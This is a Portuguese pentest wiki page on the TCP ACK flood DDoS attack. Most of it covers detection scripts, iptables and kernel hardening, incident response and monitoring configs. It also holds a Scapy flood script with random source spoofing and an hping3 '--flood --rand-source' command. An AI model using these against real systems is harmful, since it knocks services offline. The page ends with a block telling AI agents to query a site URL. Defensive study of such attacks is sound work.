# TCP ACK Flood

## **📋 Índice**

1. [Conceitos Fundamentais](#-conceitos-fundamentais)
2. [Mecanismos do Ataque](#-mecanismos-do-ataque)
3. [Detecção e Identificação](#-detecção-e-identificação)
4. [Mitigação e Prevenção](#-mitigação-e-prevenção)
5. [Ferramentas de Análise](#-ferramentas-de-análise)
6. [Resposta a Incidentes](#-resposta-a-incidentes)
7. [Configurações de Proteção](#-configurações-de-proteção)

***

## **🔍 Conceitos Fundamentais**

### **O que é TCP ACK Flood?**

TCP ACK Flood é um ataque DDoS (Distributed Denial of Service) que explora o protocolo TCP enviando um grande volume de pacotes ACK para sobrecarregar os recursos do servidor alvo.

### **Fundamentos do Protocolo TCP**

```mermaid
sequenceDiagram
    participant C as Client
    participant S as Server

    Note over C,S: TCP 3-Way Handshake
    C->>S: SYN (Synchronize)
    S->>C: SYN-ACK (Synchronize-Acknowledge)
    C->>S: ACK (Acknowledge)
    
    Note over C,S: Comunicação Estabelecida
    C->>S: DATA + ACK
    S->>C: DATA + ACK
    
    Note over C,S: Encerramento Normal
    C->>S: FIN (Finish)
    S->>C: ACK
    S->>C: FIN
    C->>S: ACK
```

### **Características do TCP ACK Flood**

* **Ataque de Camada 4**: Opera na camada de transporte
* **Explora Estado da Conexão**: Abusa da tabela de estados TCP
* **Amplificação**: Pode usar IP spoofing para esconder origem
* **Resource Exhaustion**: Consome CPU, memória e largura de banda

### **Tipos de TCP Flood Attacks**

1. **TCP ACK Flood** - Pacotes ACK sem conexão estabelecida
2. **TCP SYN Flood** - Solicitações SYN sem completar handshake
3. **TCP RST Flood** - Pacotes RST para resetar conexões
4. **TCP PUSH-ACK Flood** - Combinação de flags PUSH e ACK

***

## **⚔️ Mecanismos do Ataque**

### **Fluxo do Ataque TCP ACK Flood**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Vítima (Servidor)
    participant R as Recursos do Servidor

    Note over A,V: FASE 1: Inundação de Pacotes ACK
    A->>V: Pacote ACK (IP Spoofed)
    A->>V: Pacote ACK (IP Spoofed)
    A->>V: Pacote ACK (IP Spoofed)
    Note right of A: Milhares de pacotes ACK/segundo
    
    Note over V,R: FASE 2: Processamento do Servidor
    V->>R: Aloca recursos para processar ACK
    V->>R: Verifica tabela de conexões
    V->>R: Gera resposta RST
    
    Note over V,R: FASE 3: Esgotamento de Recursos
    R-->>V: CPU em 100%
    R-->>V: Memória esgotada
    R-->>V: Largura de banda saturada
    
    Note over V,A: FASE 4: Negação de Serviço
    V-->>A: Servidor não responde
    Note right of V: Serviços legítimos indisponíveis
```

### **Técnicas de Ataque**

#### **1. ACK Flood Básico**

```python
#!/usr/bin/env python3
# Exemplo educacional - NÃO USAR PARA ATAQUES
import socket
import random
from scapy.all import *

def basic_ack_flood(target_ip, target_port, count=1000):
    """Exemplo básico de ACK Flood (apenas educacional)"""
    for i in range(count):
        # IP spoofing com endereços aleatórios
        src_ip = ".".join(map(str, (random.randint(1, 254) for _ in range(4))))
        
        # Criar pacote TCP ACK
        ip_layer = IP(src=src_ip, dst=target_ip)
        tcp_layer = TCP(sport=random.randint(1024, 65535), dport=target_port, flags="A", seq=random.randint(0, 4294967295))
        
        # Enviar pacote
        send(ip_layer/tcp_layer, verbose=0)

# NUNCA execute isso em sistemas reais
# basic_ack_flood("192.168.1.100", 80, 1000)
```

#### **2. ACK Flood com Variações**

```bash
# Usando hping3 para testes legítimos
hping3 -A -p 80 --flood --rand-source 192.168.1.100

# Flags utilizadas:
# -A : ACK flag
# --flood : Envio em alta velocidade
# --rand-source : IP spoofing
```

### **Impacto nos Recursos do Sistema**

#### **Consumo de CPU**

```bash
# Monitorar consumo de CPU durante ataque
mpstat -P ALL 1

# Top processos consumindo CPU
ps aux --sort=-%cpu | head -10
```

#### **Uso de Memória**

```bash
# Monitorar uso de memória
free -h
cat /proc/meminfo

# Verificar tabela de conexões TCP
ss -s
netstat -s | grep -i "listen"
```

#### **Estatísticas de Rede**

```bash
# Estatísticas de interface de rede
sar -n DEV 1

# Pacotes recebidos/transmitidos
ifconfig eth0 | grep "RX\|TX"

# Drops e errors
netstat -i
```

***

## **🔎 Detecção e Identificação**

### **Sinais de Alerta**

#### **Métricas de Monitoramento**

```bash
#!/bin/bash
# monitor_tcp_ack_flood.sh

INTERFACE="eth0"
THRESHOLD_ACK=1000  # Pacotes ACK/segundo
THRESHOLD_RST=500   # Pacotes RST/segundo

while true; do
    # Capturar estatísticas TCP
    ACK_COUNT=$(netstat -s | grep "acks sent" | awk '{print $1}')
    RST_COUNT=$(netstat -s | grep "resets sent" | awk '{print $1}')
    CONN_COUNT=$(ss -s | grep "TCP:" | awk '{print $4}')
    
    # Capturar pacotes ACK com tcpdump
    ACK_PACKETS=$(timeout 1 tcpdump -i $INTERFACE 'tcp[13] & 16 != 0' 2>/dev/null | wc -l)
    
    echo "$(date): ACK_Packets/s: $ACK_PACKETS, Connections: $CONN_COUNT"
    
    if [ $ACK_PACKETS -gt $THRESHOLD_ACK ]; then
        echo "ALERTA: Possível TCP ACK Flood detectado!"
        echo "Pacotes ACK/seg: $ACK_PACKETS"
        # Acionar ações de mitigação
    fi
    
    sleep 1
done
```

#### **Script de Detecção Avançada**

```python
#!/usr/bin/env python3
# tcp_ack_flood_detector.py

import time
import subprocess
from collections import defaultdict
import smtplib
from email.mime.text import MIMEText

class TCPAckFloodDetector:
    def __init__(self, interface="eth0", ack_threshold=1000, window_size=10):
        self.interface = interface
        self.ack_threshold = ack_threshold
        self.window_size = window_size
        self.ack_counts = []
        self.suspicious_ips = defaultdict(int)
        
    def get_tcp_ack_count(self):
        """Conta pacotes ACK usando tcpdump"""
        try:
            cmd = f"timeout 1 tcpdump -i {self.interface} 'tcp[13] & 16 != 0' 2>/dev/null | wc -l"
            result = subprocess.check_output(cmd, shell=True)
            return int(result.strip())
        except subprocess.CalledProcessError:
            return 0
    
    def analyze_traffic_patterns(self):
        """Analisa padrões de tráfego para detectar anomalias"""
        ack_count = self.get_tcp_ack_count()
        self.ack_counts.append(ack_count)
        
        # Manter apenas a janela de tempo definida
        if len(self.ack_counts) > self.window_size:
            self.ack_counts.pop(0)
        
        # Calcular média móvel
        if len(self.ack_counts) == self.window_size:
            avg_ack = sum(self.ack_counts) / len(self.ack_counts)
            
            if ack_count > self.ack_threshold and ack_count > avg_ack * 3:
                return True, ack_count, avg_ack
        
        return False, ack_count, 0
    
    def get_connection_stats(self):
        """Obtém estatísticas de conexões TCP"""
        try:
            # Número de conexões no estado ESTABLISHED
            cmd = "ss -t state established | wc -l"
            established = int(subprocess.check_output(cmd, shell=True)) - 1
            
            # Número de conexões no estado SYN-RECV
            cmd = "ss -t state syn-recv | wc -l"
            syn_recv = int(subprocess.check_output(cmd, shell=True)) - 1
            
            return established, syn_recv
        except:
            return 0, 0
    
    def send_alert(self, ack_count, avg_ack):
        """Envia alerta por email"""
        subject = "ALERTA: Possível TCP ACK Flood Detectado"
        body = f"""
        Alerta de Segurança - TCP ACK Flood
        
        Detalhes:
        - Pacotes ACK/seg: {ack_count}
        - Média histórica: {avg_ack:.2f}
        - Limite configurado: {self.ack_threshold}
        - Timestamp: {time.ctime()}
        
        Ações recomendadas:
        1. Verificar regras de firewall
        2. Analisar logs do sistema
        3. Contatar provedor de hospedagem
        """
        
        # Configurar e enviar email (implementar conforme necessidade)
        print(f"ALERTA: {subject}")
        print(body)
    
    def start_monitoring(self):
        """Inicia monitoramento contínuo"""
        print(f"Iniciando monitoramento TCP ACK Flood na interface {self.interface}")
        
        while True:
            attack_detected, ack_count, avg_ack = self.analyze_traffic_patterns()
            established, syn_recv = self.get_connection_stats()
            
            print(f"[{time.ctime()}] ACK/s: {ack_count}, Established: {established}, SYN-RECV: {syn_recv}")
            
            if attack_detected:
                self.send_alert(ack_count, avg_ack)
                # Aqui poderia acionar ações automáticas de mitigação
            
            time.sleep(1)

# Uso do detector
if __name__ == "__main__":
    detector = TCPAckFloodDetector(interface="eth0", ack_threshold=1500)
    detector.start_monitoring()
```

### **Ferramentas de Análise**

#### **Análise com tcpdump**

```bash
# Capturar apenas pacotes ACK
tcpdump -i eth0 'tcp[13] & 16 != 0' -n

# Analisar padrões de ACK flood
tcpdump -i eth0 -c 1000 'tcp[13] & 16 != 0' -n | \
awk '{print $3}' | sort | uniq -c | sort -nr

# Monitorar taxa de pacotes ACK
tcpdump -i eth0 'tcp[13] & 16 != 0' -n -l | \
while read line; do \
echo "$(date +%s) ACK"; \
done | awk '{count[$2]++} END {for (type in count) print type, count[type]}'
```

#### **Análise com Wireshark/tshark**

```bash
# Filtrar pacotes ACK com tshark
tshark -i eth0 -Y "tcp.flags.ack == 1" -T fields -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport

# Estatísticas de pacotes ACK por IP de origem
tshark -i eth0 -Y "tcp.flags.ack == 1" -T fields -e ip.src | \
sort | uniq -c | sort -nr
```

***

## **🛡️ Mitigação e Prevenção**

### **Estratégias de Mitigação em Camadas**

#### **1. Configuração de Firewall**

```bash
#!/bin/bash
# firewall_ack_flood_protection.sh

# Limitar taxa de pacotes ACK
iptables -A INPUT -p tcp --tcp-flags ACK ACK -m limit --limit 50/s --limit-burst 100 -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ACK ACK -j DROP

# Proteção contra IP spoofing
iptables -A INPUT -s 10.0.0.0/8 -j DROP
iptables -A INPUT -s 172.16.0.0/12 -j DROP
iptables -A INPUT -s 192.168.0.0/16 -j DROP
iptables -A INPUT -s 169.254.0.0/16 -j DROP

# Limitar novas conexões
iptables -A INPUT -p tcp --syn -m connlimit --connlimit-above 100 -j DROP

# Proteção SYN cookies
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
```

#### **2. Configurações do Sistema Linux**

```bash
#!/bin/bash
# system_hardening_tcp.sh

# Otimizações do kernel para proteção TCP
echo "net.ipv4.tcp_max_syn_backlog = 2048" >> /etc/sysctl.conf
echo "net.ipv4.tcp_synack_retries = 2" >> /etc/sysctl.conf
echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf
echo "net.ipv4.tcp_max_orphans = 65536" >> /etc/sysctl.conf
echo "net.ipv4.tcp_orphan_retries = 0" >> /etc/sysctl.conf

# Limitar conexões por segundo
echo "net.netfilter.nf_conntrack_max = 100000" >> /etc/sysctl.conf
echo "net.netfilter.nf_conntrack_tcp_timeout_established = 300" >> /etc/sysctl.conf

# Aplicar configurações
sysctl -p
```

### **Soluções Especializadas**

#### **1. Configuração do iptables Avançada**

```bash
#!/bin/bash
# advanced_iptables_protection.sh

# Criar chain específica para proteção ACK
iptables -N ACK_FLOOD_PROTECTION
iptables -A INPUT -p tcp --tcp-flags ACK ACK -j ACK_FLOOD_PROTECTION

# Regras na chain de proteção
iptables -A ACK_FLOOD_PROTECTION -m recent --name ACKFLOOD --update --seconds 60 --hitcount 100 -j DROP
iptables -A ACK_FLOOD_PROTECTION -m recent --name ACKFLOOD --set -j ACCEPT

# Proteção por porta (exemplo para HTTP/HTTPS)
for port in 80 443; do
    iptables -A INPUT -p tcp --dport $port --tcp-flags ACK ACK \
             -m limit --limit 100/s --limit-burst 200 -j ACCEPT
    iptables -A INPUT -p tcp --dport $port --tcp-flags ACK ACK -j DROP
done

# Logging para análise
iptables -A INPUT -p tcp --tcp-flags ACK ACK -m limit --limit 5/min -j LOG --log-prefix "ACK_FLOOD: "
```

#### **2. Usando ipset para Bloqueio em Massa**

```bash
#!/bin/bash
# ipset_protection.sh

# Criar ipset para bloqueio
ipset create ack_flood_blacklist hash:ip timeout 3600

# Adicionar regra iptables para usar ipset
iptables -I INPUT -p tcp --tcp-flags ACK ACK -m set --match-set ack_flood_blacklist src -j DROP

# Script para adicionar IPs maliciosos automaticamente
tcpdump -i eth0 -l -n 'tcp[13] & 16 != 0' | \
awk '{print $3}' | \
awk -F '.' '{print $1"."$2"."$3"."$4}' | \
while read ip; do
    ipset add ack_flood_blacklist $ip 2>/dev/null
done
```

### **Soluções de Hardware/Cloud**

#### **1. Configuração de Load Balancer**

```bash
# Exemplo de configuração HAProxy para proteção
frontend web_frontend
    bind *:80
    mode http
    
    # Limitar conexões por IP
    stick-table type ip size 100k expire 30s store conn_cur
    tcp-request connection track-sc1 src
    tcp-request connection reject if { src_conn_cur ge 50 }
    
    # Timeouts agressivos
    timeout client 10s
    timeout http-request 5s

backend web_servers
    mode http
    balance roundrobin
    server web1 192.168.1.10:80 check maxconn 100
    server web2 192.168.1.11:80 check maxconn 100
```

#### **2. Proteção com CloudFlare ou Similar**

```json
{
  "security_level": "high",
  "challenge_ttl": 1800,
  "browser_check": "on",
  "rate_limiting": {
    "enabled": true,
    "threshold": 100,
    "period": 10,
    "action": "block"
  },
  "tcp_protection": {
    "ack_flood": "enabled",
    "syn_flood": "enabled",
    "rst_flood": "enabled"
  }
}
```

***

## **🔧 Ferramentas de Análise**

### **Ferramentas de Monitoramento**

#### **1. Monitor com ntopng**

```bash
# Instalação e configuração do ntopng
apt-get install ntopng

# Configuração para detecção de DDoS
echo "-i=eth0
--community
--disable-login=1
--http-port=3000
--local-networks=192.168.1.0/24
--dns-mode=1
--max-num-hosts=16384" > /etc/ntopng/ntopng.conf

systemctl start ntopng
```

#### **2. Usando iftop para Análise em Tempo Real**

```bash
# Instalar iftop
apt-get install iftop

# Monitorar tráfego por conexão
iftop -i eth0 -n -P

# Filtrar apenas tráfego TCP ACK
iftop -i eth0 -f 'tcp and ack'
```

### **Scripts de Análise Avançada**

#### **Análise de Padrões de Tráfego**

```python
#!/usr/bin/env python3
# traffic_pattern_analyzer.py

from scapy.all import *
import matplotlib.pyplot as plt
from collections import defaultdict
import datetime

class TrafficPatternAnalyzer:
    def __init__(self, interface="eth0"):
        self.interface = interface
        self.ack_timestamps = []
        self.src_ips = defaultdict(list)
        
    def packet_handler(self, packet):
        """Processa cada pacote capturado"""
        if packet.haslayer(TCP) and packet[TCP].flags & 0x10:  # ACK flag
            timestamp = datetime.datetime.now()
            src_ip = packet[IP].src
            
            self.ack_timestamps.append(timestamp)
            self.src_ips[src_ip].append(timestamp)
            
    def analyze_traffic(self, duration=60):
        """Captura e analisa tráfego por um período"""
        print(f"Capturando tráfego por {duration} segundos...")
        
        # Capturar pacotes
        sniff(iface=self.interface, 
              filter="tcp", 
              prn=self.packet_handler, 
              timeout=duration)
        
        # Análise de resultados
        total_acks = len(self.ack_timestamps)
        unique_ips = len(self.src_ips)
        
        print(f"\n--- Análise de Tráfego TCP ACK ---")
        print(f"Total de pacotes ACK: {total_acks}")
        print(f"IPs únicos: {unique_ips}")
        print(f"Taxa média: {total_acks/duration:.2f} ACK/segundo")
        
        # Identificar IPs suspeitos
        suspicious_ips = []
        for ip, timestamps in self.src_ips.items():
            if len(timestamps) > 100:  # Mais de 100 ACKs do mesmo IP
                suspicious_ips.append((ip, len(timestamps)))
        
        if suspicious_ips:
            print("\nIPs suspeitos:")
            for ip, count in sorted(suspicious_ips, key=lambda x: x[1], reverse=True)[:10]:
                print(f"  {ip}: {count} pacotes ACK")
        
        return total_acks, unique_ips, suspicious_ips
    
    def plot_traffic_pattern(self):
        """Gera gráfico do padrão de tráfego"""
        if not self.ack_timestamps:
            print("Nenhum dado para plotar")
            return
        
        # Agrupar por minuto
        minutes = [ts.replace(second=0, microsecond=0) for ts in self.ack_timestamps]
        minute_counts = defaultdict(int)
        
        for minute in minutes:
            minute_counts[minute] += 1
        
        # Preparar dados para plotagem
        times = sorted(minute_counts.keys())
        counts = [minute_counts[t] for t in times]
        
        plt.figure(figsize=(12, 6))
        plt.plot(times, counts, 'r-', linewidth=2)
        plt.title('Padrão de Pacotes TCP ACK ao Longo do Tempo')
        plt.xlabel('Tempo')
        plt.ylabel('Pacotes ACK por Minuto')
        plt.grid(True)
        plt.xticks(rotation=45)
        plt.tight_layout()
        plt.savefig('ack_traffic_pattern.png')
        print("Gráfico salvo como 'ack_traffic_pattern.png'")

# Uso do analisador
if __name__ == "__main__":
    analyzer = TrafficPatternAnalyzer("eth0")
    analyzer.analyze_traffic(300)  # 5 minutos
    analyzer.plot_traffic_pattern()
```

***

## **🚨 Resposta a Incidentes**

### **Plano de Resposta a TCP ACK Flood**

#### **1. Detecção e Análise Imediata**

```bash
#!/bin/bash
# emergency_response.sh

echo "=== INICIANDO RESPOSTA A INCIDENTE TCP ACK FLOOD ==="
echo "Timestamp: $(date)"

# 1. Identificar tráfego malicioso
echo "1. Identificando tráfego malicioso..."
tcpdump -i eth0 -c 100 'tcp[13] & 16 != 0' -n | \
awk '{print $3}' | cut -d. -f1-4 | sort | uniq -c | sort -nr > /tmp/suspicious_ips.txt

echo "IPs suspeitos encontrados:"
cat /tmp/suspicious_ips.txt

# 2. Bloquear IPs maliciosos
echo "2. Bloqueando IPs maliciosos..."
while read count ip; do
    if [ $count -gt 100 ]; then
        echo "Bloqueando IP: $ip ($count pacotes)"
        iptables -A INPUT -s $ip -j DROP
    fi
done < /tmp/suspicious_ips.txt

# 3. Implementar limitações de taxa
echo "3. Aplicando limitações de taxa..."
iptables -A INPUT -p tcp --tcp-flags ACK ACK -m limit --limit 50/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ACK ACK -j DROP

# 4. Monitorar impacto
echo "4. Monitorando impacto..."
ss -s
netstat -s | grep -i "drop"
```

#### **2. Comunicação e Escalação**

```bash
#!/bin/bash
# incident_communication.sh

# Template de comunicação de incidente
INCIDENT_REPORT="/tmp/incident_report_$(date +%Y%m%d_%H%M%S).txt"

cat > $INCIDENT_REPORT << EOF
INCIDENT REPORT - TCP ACK FLOOD
================================
Timestamp: $(date)
Status: EM ANDAMENTO

IMPACTO:
- Serviços afetados: Web, API, Database
- Duração: Desde $(date -d '1 hour ago')
- Usuários impactados: Estimativa 1000+

AÇÕES TOMADAS:
1. IPs maliciosos bloqueados via iptables
2. Limitações de taxa implementadas
3. Monitoramento intensificado
4. Equipe de segurança notificada

PRÓXIMOS PASSOS:
1. Análise forense completa
2. Ajuste de regras de firewall
3. Implementação de proteção permanente
4. Relatório pós-incidente

CONTATOS:
- Líder de segurança: security@empresa.com
- Operações: ops@empresa.com
- Gerência: management@empresa.com
EOF

echo "Relatório de incidente criado: $INCIDENT_REPORT"
```

### **Recuperação Pós-Incidente**

#### **Análise Forense**

```bash
#!/bin/bash
# forensic_analysis.sh

echo "=== ANÁLISE FORENSE TCP ACK FLOOD ==="

# 1. Coletar logs
echo "1. Coletando logs..."
dmesg > /tmp/forensic_dmesg.log
journalctl --since "1 hour ago" > /tmp/forensic_journal.log
netstat -s > /tmp/forensic_netstat.log

# 2. Analisar pacotes capturados
echo "2. Analisando pacotes capturados..."
if [ -f /var/log/tcpdump_ack_flood.pcap ]; then
    tshark -r /var/log/tcpdump_ack_flood.pcap -Y "tcp.flags.ack == 1" \
    -T fields -e ip.src -e ip.dst | \
    sort | uniq -c | sort -nr > /tmp/attack_patterns.txt
fi

# 3. Gerar relatório
echo "3. Gerando relatório forense..."
echo "Análise Completa: $(date)" > /tmp/forensic_report.txt
echo "IPs Atacantes:" >> /tmp/forensic_report.txt
cat /tmp/suspicious_ips.txt >> /tmp/forensic_report.txt
echo "" >> /tmp/forensic_report.txt
echo "Padrões de Ataque:" >> /tmp/forensic_report.txt
cat /tmp/attack_patterns.txt >> /tmp/forensic_report.txt

echo "Análise forense concluída: /tmp/forensic_report.txt"
```

***

## **⚙️ Configurações de Proteção**

### **Configurações de Kernel Otimizadas**

```bash
#!/bin/bash
# kernel_tcp_hardening.sh

# Adicionar ao /etc/sysctl.conf
cat >> /etc/sysctl.conf << EOF

# Proteção contra TCP ACK Flood
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 2048
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syn_retries = 3

# Limites de conexão
net.ipv4.tcp_max_orphans = 65536
net.ipv4.tcp_orphan_retries = 0
net.ipv4.tcp_fin_timeout = 7

# Controle de filas
net.core.netdev_max_backlog = 10000
net.core.somaxconn = 65535

# Proteção contra spoofing
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
EOF

# Aplicar configurações
sysctl -p
```

### **Configuração de Fail2ban para TCP ACK**

```bash
# /etc/fail2ban/jail.d/tcp-ack-flood.conf
[tcp-ack-flood]
enabled = true
filter = tcp-ack-flood
logpath = /var/log/messages
maxretry = 10
findtime = 60
bantime = 3600
action = iptables[name=TCP-ACK-Flood, port=http, protocol=tcp]

# /etc/fail2ban/filter.d/tcp-ack-flood.conf
[Definition]
failregex = ^.*SRC=<HOST>.*ACK.*
ignoreregex =
```

### **Monitoramento Contínuo com Prometheus**

```yaml
# prometheus_tcp_rules.yml
groups:
- name: tcp_ack_flood
  rules:
  - alert: TCPAckFloodDetected
    expr: rate(node_netstat_Tcp_OutSegs[5m]) > 1000
    for: 2m
    labels:
      severity: critical
    annotations:
      summary: "TCP ACK Flood detectado"
      description: "Taxa de pacotes ACK excedeu 1000/s por mais de 2 minutos"
  
  - alert: HighTCPResets
    expr: rate(node_netstat_Tcp_OutRsts[5m]) > 500
    for: 2m
    labels:
      severity: warning
    annotations:
      summary: "Alta taxa de resets TCP"
      description: "Possível indicativo de ACK flood response"
```

***

## **📊 Métricas e Monitoramento**

### **Dashboard Grafana para Monitoramento TCP**

```json
{
  "dashboard": {
    "title": "TCP ACK Flood Monitoring",
    "panels": [
      {
        "title": "TCP ACK Packets/s",
        "targets": [
          {
            "expr": "rate(node_netstat_Tcp_OutSegs[1m])",
            "legendFormat": "ACK Packets"
          }
        ],
        "thresholds": [
          {
            "value": 1000,
            "color": "red"
          }
        ]
      },
      {
        "title": "TCP Connections",
        "targets": [
          {
            "expr": "node_netstat_Tcp_CurrEstab",
            "legendFormat": "Established Connections"
          }
        ]
      }
    ]
  }
}
```

***

## **⚠️ Considerações Finais**

### **Lições Aprendidas**

* **Monitoramento Proativo**: Detecte padrões antes que causem impacto
* **Defesa em Camadas**: Combine firewall, IPS e configurações de sistema
* **Plano de Resposta**: Tenha procedimentos documentados para incidentes
* **Testes Regulares**: Simule ataques para validar defesas

### **Mitos Comuns**

* ❌ "Firewall resolve tudo" → **FALSO** (ataques modernos bypassam firewalls básicos)
* ❌ "Só servidores web são alvos" → **FALSO** (qualquer serviço TCP pode ser afetado)
* ❌ "Ataques DDoS são sempre de botnets" → **FALSO** (ataques podem ser direcionados)

### **Estatísticas Importantes**

```
📈 85% dos ataques DDoS usam múltiplos vetores
📈 TCP Floods representam 25% de todos os ataques DDoS
📈 Ataques de camada 4 têm duração média de 30-60 minutos
📈 Custo médio de downtime: $5,600 por minuto
```

### **Recursos Recomendados**

* [RFC 4987 - TCP SYN Flooding Attacks](https://tools.ietf.org/html/rfc4987)
* [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
* [SANS DDoS Protection](https://www.sans.org/reading-room/whitepapers/detection/paper/34735)

**🔐 Lembre-se**: A proteção contra TCP ACK Flood requer uma abordagem em camadas que combine monitoramento proativo, configurações de sistema otimizadas e planos de resposta a incidentes bem definidos.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/tcp/tcp-ack-flood.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.